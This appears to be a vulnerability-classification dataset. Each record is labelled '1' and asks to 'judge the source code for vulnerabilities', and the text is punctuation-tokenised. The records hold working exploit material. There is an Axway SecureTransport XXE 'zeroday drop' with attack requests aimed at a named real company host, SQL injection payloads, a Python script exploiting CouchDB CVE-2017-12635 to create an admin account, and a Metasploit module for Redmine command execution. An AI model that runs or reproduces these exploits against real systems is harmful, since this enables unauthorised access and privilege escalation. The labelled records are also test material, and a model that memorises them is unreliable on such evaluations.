8d95c0f9f499f29fcfb95419b629ab44<NEWLINE>AXIS Q1755 5.50.4.1 6ca8597f48ed122ce84c2172c079cdf9<NEWLINE>AXIS Q1765<hyphen>LE 5.90.1.1 7930bf5c4c947f2f948f8b7475f01409<NEWLINE>AXIS Q1765<hyphen>LE<hyphen>PT 5.90.1.1 890ba75a8108d97f2ef1a4aecedf76b1<NEWLINE>AXIS Q1775 5.85.3 f47bc9d46a913561e42b999cc6697a83<NEWLINE>AXIS Q1910 5.50.4.1 71525d4d56d781318b64e8200806dcf0<NEWLINE>AXIS Q1921 5.50.4.1 82f956fec96a9068941e24e12045cefd<NEWLINE>AXIS Q1922 5.50.4.1 111a1a4f823e7281af1c872ba52f73c4<NEWLINE>AXIS Q1931<hyphen>E 5.75.1.3 5cf13a2c3d65644c3376ec6466dd9b49<NEWLINE>AXIS Q1931<hyphen>E<hyphen>PT<hyphen>Mount5.75.1.1 3ba7e187dc25e98ab73aef262b68e1b9<NEWLINE>AXIS Q1932<hyphen>E 5.75.1.2 b8efe54fc3eca7f2a59322779e63e8e1<NEWLINE>AXIS Q1932<hyphen>E PT.Mount5.75.1 513fc031f85542548eeccfeaa7c1a29e<NEWLINE>AXIS Q2901<hyphen>E 5.55.4.1 d2945717297edab3326179541cfa0688<NEWLINE>AXIS Q2901<hyphen>E PT.Mount5.55.4.1 a41aed45359f11d2ec248419c124a52d<NEWLINE>AXIS Q3505 5.80.1.4 9394b3577bdb17cb9f74e56433a0e660<NEWLINE>AXIS Q3709<hyphen>PVE 5.75.1.1 e9fb87337c0a24139a40459336f0bcb3<NEWLINE>AXIS Q6000<hyphen>E 5.65.1.1 b97df19057db1134a43c26f5ddf484de<NEWLINE>AXIS Q6032 5.41.1.2 8caad5cd7beeebaf5b05b011b8a1e104<NEWLINE>AXIS Q6032<hyphen>C 5.41.3 58213a4b1c7a980dcb3b54bbee657506<NEWLINE>AXIS Q6032<hyphen>E 5.41.1.4 b4aa977b254694b5d14d7e87e5652a6b<NEWLINE>AXIS Q6034 5.41.1.1 4f44a8661534bac08a50651ee90a7d47<NEWLINE>AXIS Q6034<hyphen>C 5.41.3 25d455dc2e2d11639f29b0b381ddd7cb<NEWLINE>AXIS Q6034<hyphen>E 5.41.1.2 3bfab61354170e42ce27fc2477d57026<NEWLINE>AXIS Q6035 5.41.1.2 9d124d096bf48fbfd2e11c34de3c880d<NEWLINE>AXIS Q6035<hyphen>C 5.41.3 42d23ae4d0b1456cc54e54734a586d53<NEWLINE>AXIS Q6035<hyphen>E 5.41.1.5 e2123a9e37fda4044847c810b7f25253<NEWLINE>AXIS Q6042 5.70.1.1 4f253ed4bb0efaa4a845e0e9bd666766<NEWLINE>AXIS Q6042<hyphen>C 5.70.1.1 21bd154f706091b348c33dd9564438da<NEWLINE>AXIS Q6042<hyphen>E 5.70.1.2 9d5dc03268638498d0299bf466fa0501<NEWLINE>AXIS Q6042<hyphen>S 5.70.1.1 085fc5903d99899d78b48abb9cafdecd<NEWLINE>AXIS Q6044 5.70.1.1 29e4cdb9ba2f18953512c5d1e17229c1<NEWLINE>AXIS Q6044<hyphen>C 5.70.1.1 dc3fc472b88e07278e6ff82eaee71a8d<NEWLINE>AXIS Q6044<hyphen>E 5.70.1.2 83d1e6c1fe5aa9c26710eed03721f928<NEWLINE>AXIS Q6044<hyphen>S 5.70.1.1 654ffd048fdb41ae3c86da4f41e2a31d<NEWLINE>AXIS Q6045 5.70.1.1 2db9b247729e9487f476a35a6dd456ce<NEWLINE>AXIS Q6045<hyphen>C 5.70.1.1 9bb561126e2b4f69ac526cfccdf254f6<NEWLINE>AXIS Q6045<hyphen>C<hyphen>MkII 5.70.1.1 2c9efccb0fba0e63fc4fff73e6ba0fea<NEWLINE>AXIS Q6045<hyphen>E 5.70.1.2 321a5d906863787fdc5e34483e6ec2a8<NEWLINE>AXIS Q6045<hyphen>E<hyphen>MkII 5.70.1.2 d9d4242a83b1ed225dd3c20530da034d<NEWLINE>AXIS Q6045<hyphen>MkII 5.70.1.1 686f0fe8727e2a726091c9ddf3827741<NEWLINE>AXIS Q6045<hyphen>S 5.70.1.1 43473e42f360efb4ea6f84da35fd9746<NEWLINE>AXIS Q6045<hyphen>S<hyphen>Mk<hyphen>II 5.70.1.1 d747a5a3d69264af8448f72822e8d60b<NEWLINE>AXIS Q6114<hyphen>E 5.65.2.1 8cb9a3a88c79ebb2cf5def3cda0da148<NEWLINE>AXIS Q6115<hyphen>E 5.65.2.1 7d2dd3410ce505cd04a1c182917523a5<NEWLINE>AXIS Q6128<hyphen>E 5.85.2.1 49508ff56508f809a75d367896e8d56f<NEWLINE>AXIS Q7401 5.50.4 99855c6c9777fdd5fc5e58349ae861a5<NEWLINE>AXIS Q7404 5.50.4.2 ffdbee7c9daad303e89a432ba9c4711d<NEWLINE>AXIS Q7404 5.50.4 6e31e9709cf9717968c244267aa8c6d0<NEWLINE>AXIS Q7406 5.51.2 3cdb7935278157b9c91c334613012b1e<NEWLINE>AXIS Q7411 5.90.1 26893adedcfc1953829084e8e7c3fbdd<NEWLINE>AXIS Q7414 5.51.2 8ff659a8db077b545205f56dfef217d4<NEWLINE>AXIS Q7424<hyphen>R 5.50.4 d570ef1886c84ab53934fc51385e8aa7<NEWLINE>AXIS Q7424<hyphen>R<hyphen>MkII 5.51.3 964a13f6b1aef17562cbbde11d936dee<NEWLINE>AXIS Q7436 5.90.1 8fe1ef95b231bf6f771c3edc0fbc8afd<NEWLINE>AXIS Q8414<hyphen>LVS 6.10.1 9529cd9cf3b3bd66bec22c0b1c7448cd<NEWLINE>AXIS Q8631<hyphen>E 5.75.1 c7f882afc268ca3d60d07d5770db6a51<NEWLINE>AXIS Q8632<hyphen>E 5.75.1 f01d9a86d21335fe3d78e634858b9e77<NEWLINE>AXIS Q8665<hyphen>LE 5.90.1.1 1549b56d34250a93bbcf7b24b4f63699<NEWLINE>AXIS V5915 5.75.1.1 a1c39a9cd545091825001a831d0c1ea4<NEWLINE>Vendor Information, Solutions and Workarounds<NEWLINE>+++++++++++++++++++++++++++++++++++++++++++++<NEWLINE>According to the Vendor, tickets was opened to correct this issue.<NEWLINE>Credits<NEWLINE>+++++++<NEWLINE>These vulnerabilities has been discovered and published by Orwelllabs.<NEWLINE>Timeline<NEWLINE>++++++++<NEWLINE>2015<hyphen>09<hyphen>10: First attempt to contact Vendor<NEWLINE>2015<hyphen>10<hyphen>30: Vulnerability was reported to CERT<NEWLINE>2015<hyphen>11<hyphen>30: CVE<hyphen>IDs are assigned<NEWLINE>2016<hyphen>07<hyphen>25: Since the first vulnerability was published (09.04.2016 <hyphen><NEWLINE>EDB<hyphen>ID: 39683)<NEWLINE>a long conversation revolved around these vulnerabilities with the<NEWLINE>manufacturer.<NEWLINE>We maintained communication since 15<slash>04<slash>2016 until now.<NEWLINE>As there is still disagreement regarding vulnerabilities (and botnets in<NEWLINE>the wild: https:<slash><slash>goo.gl<slash>k79I8u),<NEWLINE>we thought it good to publish this advisory, since it has already exhausted<NEWLINE>all deadlines.<NEWLINE>Legal Notices<NEWLINE>+++++++++++++<NEWLINE>The information contained within this advisory is supplied <double<underscore>quote>as<hyphen>is<double<underscore>quote> with no<NEWLINE>warranties or guarantees of fitness of use or otherwise. We accept no<NEWLINE>responsibility for any damage caused by the use or misuse of this<NEWLINE>information.<NEWLINE>About Orwelllabs<NEWLINE>++++++++++++++++
1
please judge the source code for vulnerabilities.
<underscore> <underscore><NEWLINE><underscore><underscore><underscore><underscore><underscore><underscore><underscore> <underscore> <underscore><underscore> <underscore><underscore><underscore> | | <underscore><underscore><underscore> | |<NEWLINE>|<underscore> <slash> <underscore> <backslash> <single<underscore>quote><underscore><underscore><slash> <underscore> <backslash> | |<slash> <underscore> <backslash>| |<NEWLINE><slash> <slash> <underscore><underscore><slash> | | (<underscore>) || | (<underscore>) | |<NEWLINE><slash><underscore><underscore><underscore><backslash><underscore><underscore><underscore>|<underscore>| <backslash><underscore><underscore><underscore>(<underscore>)<underscore>|<backslash><underscore><underscore><underscore><slash>|<underscore>|<NEWLINE>https:<slash><slash>zero.lol<NEWLINE>zero days 4 days<NEWLINE>ATTENTION:<NEWLINE>this is a friendly neighborhood zeroday drop<NEWLINE><double<underscore>quote>Axway SecureTransport is a multi<hyphen>protocol MFT gateway for securing, managing, and tracking file flows among people and applications inside your enterprise, and beyond your firewall to your user communities, the cloud and mobile devices. It is designed to handle everything — from high<hyphen>volume automated high speed secure file transfers between systems, sites, lines of business and external partners, to user<hyphen>driven communications and mobile, folder<hyphen> and portal<hyphen>based file sharing.<double<underscore>quote><NEWLINE>Who uses this software?<NEWLINE>Well, to name a few... (just use the dork dude)<NEWLINE><hyphen> Government of California<NEWLINE><hyphen> Biometrics.mil<NEWLINE><hyphen> Fleetcor<NEWLINE><hyphen> Costco<NEWLINE><hyphen> Boeing<NEWLINE><hyphen> IRS<NEWLINE>Description:<NEWLINE>Axway SecureTransport versions 5.3 through 5.0 (and potentially others) are vulnerable to an unauthenticated blind XML injection (& XXE) vulnerability in the resetPassword functionality via the REST API. If executed properly, this vulnerablity can lead to local file disclosure, DOS or URI invocation attacks (e.g SSRF<hyphen>>RCE). It<single<underscore>quote>s worth noting that in version 5.4 the v1 API was deprecated... but not removed entirely. Meaning that you can still trigger this vulnerability on updated installations if they have the v1.0, v1.1, v1.2 or v1.3 in the <slash>api<slash> directory.<NEWLINE>Reproduction:<NEWLINE>1. Breaking the parser.<NEWLINE>HTTP Request:<NEWLINE>```<NEWLINE>POST <slash>api<slash>v1.0<slash>myself<slash>resetPassword HTTP<slash>1.1<NEWLINE>Host: securefile.costco.com<NEWLINE>Content<hyphen>Type: application<slash>xml<NEWLINE>Referer: localhost<NEWLINE><<slash>email><NEWLINE>```<NEWLINE>HTTP Response:<NEWLINE>```<NEWLINE>{<NEWLINE><double<underscore>quote>message<double<underscore>quote> : <double<underscore>quote>javax.xml.bind.UnmarshalException<backslash>n <hyphen> with linked exception:<backslash>n[org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 2; The markup in the document preceding the root element must be well<hyphen>formed.]<double<underscore>quote><NEWLINE>}<NEWLINE>```<NEWLINE>2. Verifying the vulnerability.<NEWLINE>HTTP Request:<NEWLINE>```<NEWLINE>POST <slash>api<slash>v1.0<slash>myself<slash>resetPassword HTTP<slash>1.1<NEWLINE>Host: securefile.costco.com<NEWLINE>Content<hyphen>Type: application<slash>xml<NEWLINE>Referer: localhost<NEWLINE><?xml version=<double<underscore>quote>1.0<double<underscore>quote> encoding=<double<underscore>quote>UTF<hyphen>8<double<underscore>quote> standalone=<double<underscore>quote>no<double<underscore>quote>?><NEWLINE><!DOCTYPE resetPassword [<NEWLINE><!ENTITY thisactuallyexists SYSTEM <double<underscore>quote>file:<slash><slash><slash>dev<slash>null<double<underscore>quote>><NEWLINE>]><NEWLINE><resetPassword><email>&thisactuallyexists;&thisdoesnt;<<slash>email><<slash>resetPassword><NEWLINE>```<NEWLINE>HTTP Response:<NEWLINE>```<NEWLINE>{<NEWLINE><double<underscore>quote>message<double<underscore>quote> : <double<underscore>quote>javax.xml.bind.UnmarshalException<backslash>n <hyphen> with linked exception:<backslash>n[org.xml.sax.SAXParseException; lineNumber: 5; columnNumber: 48; The entity <double<underscore>quote>thisdoesnt<double<underscore>quote> was referenced, but not declared.]<double<underscore>quote><NEWLINE>}<NEWLINE>```<NEWLINE>As you can see, the parser recognizes that <double<underscore>quote>thisactuallyexists<double<underscore>quote> was in fact declared. In the same error, we see that <double<underscore>quote>thisdoesn<single<underscore>quote>t<double<underscore>quote> was referenced, but not declared. This demonstrates that we can declare arbitrary entities.<NEWLINE>https:<slash><slash>github.com<slash>swisskyrepo<slash>PayloadsAllTheThings<slash>tree<slash>master<slash>XXE%20Injection<NEWLINE>3. External Entity Injection (XXE) (hardened)<NEWLINE>NOTE: Because the server doesn<single<underscore>quote>t reflect the input anywhere, our only option is error<hyphen>based XXE or out<hyphen>of<hyphen>band XXE. However, upon initial discovery, it appears as though most Axway SecureTransport installations have some type of firewall blocking all outgoing requests. This makes exploiting traditional XXE difficult. Judging by this, my only ideas on exploitation would be via blind SSRF or by repurposing an existing DTD on the filesystem to trigger an error with the file contents<slash>result of our payload. However because I don<single<underscore>quote>t have a license, I can<single<underscore>quote>t effectively audit this software from a whitebox perspective, which makes mapping out internal attack surface difficult. The underlying vulnerability remains... but with restrictions.<NEWLINE>HTTP Request:<NEWLINE>```<NEWLINE>POST <slash>api<slash>v1.0<slash>myself<slash>resetPassword HTTP<slash>1.1<NEWLINE>Host: securefile.costco.com<NEWLINE>Content<hyphen>Type: application<slash>xml<NEWLINE>Referer: localhost<NEWLINE><?xml version=<double<underscore>quote>1.0<double<underscore>quote> encoding=<double<underscore>quote>UTF<hyphen>8<double<underscore>quote> standalone=<double<underscore>quote>no<double<underscore>quote>?><NEWLINE><!DOCTYPE resetPassword [<NEWLINE><!ENTITY ssrf SYSTEM <double<underscore>quote>http:<slash><slash>localhost<slash>SOMETHING<underscore>I<underscore>WISH<underscore>I<underscore>KNEW<underscore>EXISTED?NEW<underscore>PASSWORD=1337<double<underscore>quote> ><NEWLINE>]><NEWLINE><resetPassword><email>&ssrf;<<slash>email><<slash>resetPassword><NEWLINE>```<NEWLINE>HTTP Response:<NEWLINE>```<NEWLINE>(empty)<NEWLINE>```<NEWLINE>Local DTD repurposing example request:<NEWLINE>```<NEWLINE>POST <slash>api<slash>v1.0<slash>myself<slash>resetPassword HTTP<slash>1.1<NEWLINE>Host: securefile.costco.com<NEWLINE>Content<hyphen>Type: application<slash>xml<NEWLINE>Referer: localhost<NEWLINE><?xml version=<double<underscore>quote>1.0<double<underscore>quote> encoding=<double<underscore>quote>UTF<hyphen>8<double<underscore>quote> standalone=<double<underscore>quote>no<double<underscore>quote>?><NEWLINE><!DOCTYPE resetPassword [<NEWLINE><!ENTITY % local<underscore>dtd SYSTEM <double<underscore>quote>file:<slash><slash><slash>usr<slash>share<slash>xml<slash>fontconfig<slash>fonts.dtd<double<underscore>quote>><NEWLINE><!ENTITY % expr <single<underscore>quote>aaa)><NEWLINE><!ENTITY &<NEWLINE><!ENTITY &<NEWLINE>&<NEWLINE>&<NEWLINE><!ELEMENT aa (bb<single<underscore>quote>><NEWLINE>%local<underscore>dtd;<NEWLINE>]><NEWLINE><resetPassword><<slash>resetPassword><NEWLINE>```<NEWLINE>4. More vulnerability<hyphen>indicating errors:<NEWLINE>HTTP Request:<NEWLINE>```<NEWLINE>POST <slash>api<slash>v1.0<slash>myself<slash>resetPassword HTTP<slash>1.1<NEWLINE>Host: securefile.costco.com<NEWLINE>Content<hyphen>Type: application<slash>xml<NEWLINE>Referer: localhost<NEWLINE><?xml version=<double<underscore>quote>1.0<double<underscore>quote> encoding=<double<underscore>quote>UTF<hyphen>8<double<underscore>quote> standalone=<double<underscore>quote>no<double<underscore>quote>?><NEWLINE><!DOCTYPE resetPassword [<NEWLINE><!ENTITY ssrf SYSTEM a ><NEWLINE>]><NEWLINE><resetPassword><email>&ssrf;<<slash>email><<slash>resetPassword><NEWLINE>```<NEWLINE>HTTP Response:<NEWLINE>```<NEWLINE>{<NEWLINE><double<underscore>quote>message<double<underscore>quote> : <double<underscore>quote>javax.xml.bind.UnmarshalException<backslash>n <hyphen> with linked exception:<backslash>n[org.xml.sax.SAXParseException; lineNumber: 3; columnNumber: 22; The system identifier must begin with either a single or double quote character.]<double<underscore>quote><NEWLINE>}<NEWLINE>```<NEWLINE>5. The original request<NEWLINE>HTTP Request:<NEWLINE>```<NEWLINE>POST <slash>api<slash>v1.0<slash>myself<slash>resetPassword HTTP<slash>1.1<NEWLINE>Host: securefile.costco.com<NEWLINE>Content<hyphen>Type: application<slash>xml<NEWLINE>Referer: localhost<NEWLINE><resetPassword><email>email@email.com<<slash>email><<slash>resetPassword><NEWLINE>```<NEWLINE>HTTP Response:<NEWLINE>```<NEWLINE>(empty)<NEWLINE>```<NEWLINE>Conclusion:<NEWLINE>If a determined attacker were to get to know the Axway SecureTransport software, the chances of successfully chaining this bug are high. DTD repurposing is a relatively new technique, however in the near future we will be seeing a lot more of this attack vector due to XML parser restrictions<slash>firewalled networks. I didn<single<underscore>quote>t feel comfortable doing further testing as I don<single<underscore>quote>t have a license, meaning I<single<underscore>quote>m limited to testing against live targets. So for now, enjoy the 0day. Be creative.<NEWLINE>Remediation:<NEWLINE>In order to avoid this vulnerability, it<single<underscore>quote>s suggested to disable both doctype declaration and external general entities. You can find more information on that here: https:<slash><slash>cheatsheetseries.owasp.org<slash>cheatsheets<slash>XML<underscore>External<underscore>Entity<underscore>Prevention<underscore>Cheat<underscore>Sheet.html<NEWLINE>Notes:<NEWLINE><hyphen> Referer must be set.<NEWLINE><hyphen> Content type must be xml.<NEWLINE><hyphen> Successful request returns a HTTP<slash>1.1 204 No Content<NEWLINE><hyphen> Any type of invalid XML throws an SAXParser exception.<NEWLINE><hyphen> If external entities were disabled... we should also recieve an exception.<NEWLINE><hyphen> Same with doctype declaration.<NEWLINE><hyphen> API endpoints can vary from <slash>api<slash>v1.0, <slash>api<slash>v1.1, <slash>api<slash>v1.2, <slash>api<slash>v1.3, <slash>api<slash>v1.4<NEWLINE>References:<NEWLINE>https:<slash><slash>cheatsheetseries.owasp.org<slash>cheatsheets<slash>XML<underscore>External<underscore>Entity<underscore>Prevention<underscore>Cheat<underscore>Sheet.html<NEWLINE>https:<slash><slash>mohemiv.com<slash>all<slash>exploiting<hyphen>xxe<hyphen>with<hyphen>local<hyphen>dtd<hyphen>files<slash><NEWLINE>https:<slash><slash>gist.github.com<slash>marcwickenden<slash>acd0b23953b52e7c1a1a90925862d8e2<NEWLINE>https:<slash><slash>web<hyphen>in<hyphen>security.blogspot.com<slash>2016<slash>03<slash>xxe<hyphen>cheat<hyphen>sheet.html<NEWLINE>https:<slash><slash>www.gosecure.net<slash>blog<slash>2019<slash>07<slash>16<slash>automating<hyphen>local<hyphen>dtd<hyphen>discovery<hyphen>for<hyphen>xxe<hyphen>exploitation
1
please judge the source code for vulnerabilities.
<hyphen><hyphen><hyphen><hyphen><hyphen> PoC 1: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>arac<hyphen>listesi.html?kategori[]=0&klima[]=1&vites[]=1&yakit[]=1<NEWLINE>Vulnerable Parameter: kategori[] (GET)<NEWLINE>Payload: if(now()=sysdate(),sleep(0),0)<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen> PoC 2: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>arac<hyphen>listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1<NEWLINE>Vulnerable Parameter: klima[] (GET)<NEWLINE>Payload: 1 AND 3*2*1=6 AND 695=695<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen> PoC 3: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>arac<hyphen>listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1<NEWLINE>Vulnerable Parameter: vites[] (GET)<NEWLINE>Payload: 1 AND 3*2*1=6 AND 499=499<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen> PoC 4: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>arac<hyphen>listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1<NEWLINE>Vulnerable Parameter: vites[] (GET)<NEWLINE>Payload: 1 AND 3*2*1=6 AND 499=499<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen> PoC 5: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>arac<hyphen>listesi.html?kategori[]=i0&klima[]=1&vites[]=1&yakit[]=1<NEWLINE>Vulnerable Parameter: yakit[] (GET)<NEWLINE>Payload: 1 AND 3*2*1=6 AND 602=602
1
please judge the source code for vulnerabilities.
<single<underscore>quote><single<underscore>quote><single<underscore>quote><NEWLINE>@author: r4wd3r<NEWLINE>@license: MIT License<NEWLINE>@contact: r4wd3r@gmail.com<NEWLINE><single<underscore>quote><single<underscore>quote><single<underscore>quote><NEWLINE>import argparse<NEWLINE>import re<NEWLINE>import sys<NEWLINE>import requests<NEWLINE>parser = argparse.ArgumentParser(<NEWLINE>description=<single<underscore>quote>Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability<single<underscore>quote> +<NEWLINE><single<underscore>quote> (CVE<hyphen>2017<hyphen>12635)<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote>host<single<underscore>quote>, help=<single<underscore>quote>Host to attack.<single<underscore>quote>, type=str)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>p<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>port<single<underscore>quote>, help=<single<underscore>quote>Port of CouchDB Service<single<underscore>quote>, type=str, default=<single<underscore>quote>5984<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>u<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>user<single<underscore>quote>, help=<single<underscore>quote>Username to create as admin.<single<underscore>quote>,<NEWLINE>type=str, default=<single<underscore>quote>couchara<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>P<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>password<single<underscore>quote>, help=<single<underscore>quote>Password of the created user.<single<underscore>quote>,<NEWLINE>type=str, default=<single<underscore>quote>couchapass<single<underscore>quote>)<NEWLINE>args = parser.parse<underscore>args()<NEWLINE>host = args.host<NEWLINE>port = args.port<NEWLINE>user = args.user<NEWLINE>password = args.password<NEWLINE>pat<underscore>ip = re.compile(<double<underscore>quote>^(([0<hyphen>9]|[1<hyphen>9][0<hyphen>9]|1[0<hyphen>9]{2}|2[0<hyphen>4][0<hyphen>9]|25[0<hyphen>5])<backslash>.){3}([0<hyphen>9]|[1<hyphen>9][0<hyphen>9]|1[0<hyphen>9]{2}|2[0<hyphen>4][0<hyphen>9]|25[0<hyphen>5])$<double<underscore>quote>)<NEWLINE>if not pat<underscore>ip.match(host):<NEWLINE>print <double<underscore>quote>[x] Wrong host. Must be a valid IP address.<double<underscore>quote><NEWLINE>sys.exit(1)<NEWLINE>print <double<underscore>quote>[+] User to create: <double<underscore>quote> + user<NEWLINE>print <double<underscore>quote>[+] Password: <double<underscore>quote> + password<NEWLINE>print <double<underscore>quote>[+] Attacking host <double<underscore>quote> + host + <double<underscore>quote> on port <double<underscore>quote> + port<NEWLINE>url = <single<underscore>quote>http:<slash><slash><single<underscore>quote> + host + <single<underscore>quote>:<single<underscore>quote> + port<NEWLINE>try:<NEWLINE>rtest = requests.get(url, timeout=10)<NEWLINE>except requests.exceptions.Timeout:<NEWLINE>print <double<underscore>quote>[x] Server is taking too long to answer. Exiting.<double<underscore>quote><NEWLINE>sys.exit(1)<NEWLINE>except requests.ConnectionError:<NEWLINE>print <double<underscore>quote>[x] Unable to connect to the remote host.<double<underscore>quote><NEWLINE>sys.exit(1)<NEWLINE>cu<underscore>url<underscore>payload = url + <double<underscore>quote><slash><underscore>users<slash>org.couchdb.user:<double<underscore>quote> + user<NEWLINE>cu<underscore>data<underscore>payload = <single<underscore>quote>{<double<underscore>quote>type<double<underscore>quote>: <double<underscore>quote>user<double<underscore>quote>, <double<underscore>quote>name<double<underscore>quote>: <double<underscore>quote><single<underscore>quote>+user+<single<underscore>quote><double<underscore>quote>, <double<underscore>quote>roles<double<underscore>quote>: [<double<underscore>quote><underscore>admin<double<underscore>quote>], <double<underscore>quote>roles<double<underscore>quote>: [], <double<underscore>quote>password<double<underscore>quote>: <double<underscore>quote><single<underscore>quote>+password+<single<underscore>quote><double<underscore>quote>}<single<underscore>quote><NEWLINE>try:<NEWLINE>rcu = requests.put(cu<underscore>url<underscore>payload, data=cu<underscore>data<underscore>payload)<NEWLINE>except requests.exceptions.HTTPError:<NEWLINE>print <double<underscore>quote>[x] ERROR: Unable to create the user on remote host.<double<underscore>quote><NEWLINE>sys.exit(1)<NEWLINE>if rcu.status<underscore>code == 201:<NEWLINE>print <double<underscore>quote>[+] User <double<underscore>quote> + user + <double<underscore>quote> with password <double<underscore>quote> + password + <double<underscore>quote> successfully created.<double<underscore>quote><NEWLINE>sys.exit(0)<NEWLINE>else:<NEWLINE>print <double<underscore>quote>[x] ERROR <double<underscore>quote> + str(rcu.status<underscore>code) + <double<underscore>quote>: Unable to create the user on remote host.<double<underscore>quote>
1
please judge the source code for vulnerabilities.
require <single<underscore>quote>msf<slash>core<single<underscore>quote><NEWLINE>class Metasploit3 < Msf::Exploit::Remote<NEWLINE>Rank = ExcellentRanking<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>def initialize(info = {})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <single<underscore>quote>Redmine SCM Repository Arbitrary Command Execution<single<underscore>quote>,<NEWLINE><single<underscore>quote>Description<single<underscore>quote> => %q{<NEWLINE>This module exploits an arbitrary command execution vulnerability in the<NEWLINE>Redmine repository controller. The flaw is triggered when a rev parameter<NEWLINE>is passed to the command line of the SCM tool without adequate filtering.<NEWLINE>},<NEWLINE><single<underscore>quote>Author<single<underscore>quote> => [ <single<underscore>quote>joernchen <joernchen@phenoelit.de> (Phenoelit)<single<underscore>quote> ],<NEWLINE><single<underscore>quote>License<single<underscore>quote> => MSF<underscore>LICENSE,<NEWLINE><single<underscore>quote>Version<single<underscore>quote> => <single<underscore>quote>$Revision: 11516 $<single<underscore>quote>,<NEWLINE><single<underscore>quote>References<single<underscore>quote> =><NEWLINE>[<NEWLINE>[<single<underscore>quote>OSVDB<single<underscore>quote>, <single<underscore>quote>70090<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>http:<slash><slash>www.redmine.org<slash>news<slash>49<single<underscore>quote> ]<NEWLINE>],<NEWLINE><single<underscore>quote>Privileged<single<underscore>quote> => false,<NEWLINE><single<underscore>quote>Payload<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>DisableNops<single<underscore>quote> => true,<NEWLINE><single<underscore>quote>Space<single<underscore>quote> => 512,<NEWLINE><single<underscore>quote>Compat<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>PayloadType<single<underscore>quote> => <single<underscore>quote>cmd<single<underscore>quote>,<NEWLINE><single<underscore>quote>RequiredCmd<single<underscore>quote> => <single<underscore>quote>generic telnet<single<underscore>quote>,<NEWLINE>}<NEWLINE>},<NEWLINE><single<underscore>quote>Platform<single<underscore>quote> => <single<underscore>quote>unix<single<underscore>quote>,<NEWLINE><single<underscore>quote>Arch<single<underscore>quote> => ARCH<underscore>CMD,<NEWLINE><single<underscore>quote>Targets<single<underscore>quote> => [[ <single<underscore>quote>Automatic<single<underscore>quote>, { }]],<NEWLINE><single<underscore>quote>DisclosureDate<single<underscore>quote> => <single<underscore>quote>Dec 19 2010<single<underscore>quote>,<NEWLINE><single<underscore>quote>DefaultTarget<single<underscore>quote> => 0))<NEWLINE>register<underscore>options(<NEWLINE>[<NEWLINE>OptString.new(<single<underscore>quote>URI<single<underscore>quote>, [true, <double<underscore>quote>The full URI path to the project<double<underscore>quote>, <double<underscore>quote><slash>projects<slash>1<slash><double<underscore>quote>]),<NEWLINE>], self.class)<NEWLINE>end<NEWLINE>def exploit<NEWLINE>command = Rex::Text.uri<underscore>encode(payload.encoded)<NEWLINE>urlconfigdir = datastore[<single<underscore>quote>URI<single<underscore>quote>] + <double<underscore>quote>repository<slash>annotate?rev=`<NEWLINE>res = send<underscore>request<underscore>raw({<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => urlconfigdir,<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>headers<single<underscore>quote> =><NEWLINE>{<NEWLINE><single<underscore>quote>User<hyphen>Agent<single<underscore>quote> => <single<underscore>quote>Mozilla<slash>4.0 (compatible; MSIE 6.0; Windows NT 5.1)<single<underscore>quote>,<NEWLINE><single<underscore>quote>Connection<single<underscore>quote> => <single<underscore>quote>Close<single<underscore>quote>,<NEWLINE>}<NEWLINE>}, 25)<NEWLINE>if (res)<NEWLINE>print<underscore>status(<double<underscore>quote>The server returned:<NEWLINE>else<NEWLINE>print<underscore>status(<double<underscore>quote>No response from the server<double<underscore>quote>)<NEWLINE>end<NEWLINE>handler<NEWLINE>end<NEWLINE>end
1
please judge the source code for vulnerabilities.
